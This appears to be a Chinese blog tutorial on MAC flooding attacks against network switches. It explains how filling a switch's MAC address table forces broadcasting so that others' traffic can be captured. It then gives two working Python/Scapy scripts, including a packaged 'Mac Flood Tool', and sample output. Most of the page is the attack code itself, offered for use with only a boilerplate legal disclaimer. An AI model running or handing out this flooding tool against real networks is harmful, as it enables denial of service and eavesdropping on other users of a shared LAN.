使⽤Python实现MAC泛洪攻击(MACFlood)
1、MAC泛洪攻击的原理
交换机中有⼀张⾮常重要的表,叫做mac表,这个表是⼀个硬件组成的表,主要是完成快速转发。mac表有⼤⼩限制,不同的交换机的mac表的⼤⼩都有不同,越是⾼端的交换机的表空间越⼤,但是作为接⼊交换机,表空间基本都在8K左右。交换机的⼀个原理是会⾃动学习并记录mac地址。⽽攻击者就利⽤交换机的mac地址学习机制,不断的进⾏mac地址刷新,迅速填满交换机的mac地址表,以⾄崩溃,使交换机不得不使⽤⼴播发包,从⽽获取其他⼈的报⽂信息。
2、Python脚本
from scapy.all import *
#定义⽹卡接⼝
iface='eth0'
while True:
#随机MAC
randmac=RandMAC("*:*:*:*:*:*")
#随机IP
randip=RandIP("*.*.*.*")
#构造数据包
packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP()
sendp(packet,iface=iface,loop=0)
结果如下:
完善的Python代码
from scapy.all import *
import random
#⽣成随机的MAC
def randomMAC():
randmac = RandMAC("*:*:*:*:*:*")
return randmac
#⽣成随机的IP
def randomIP():
ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
return ip
#Mac-flood
def macFlood(count):
total = 0
print("Packets are sending ...")
for i in range(count):
packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP()        sendp(packet, iface='eth0', loop=0)
total+=1
print("Total packets sent: %i" % total)
if __name__ == '__main__':
print("#" * 30)
print("# Welcome to Mac Flood Tool  #")
print("#" * 30)
count = int(input("Please input the number of packets:"))
macFlood(count)
结果如下:
root@root:~# python macflood.py
>>>>>> # Welcome to Mac Flood Tool  #
>>>>>> Please input the number of packets:10 Packets are sending ...
random python.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
Total packets sent: 10

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。

发表评论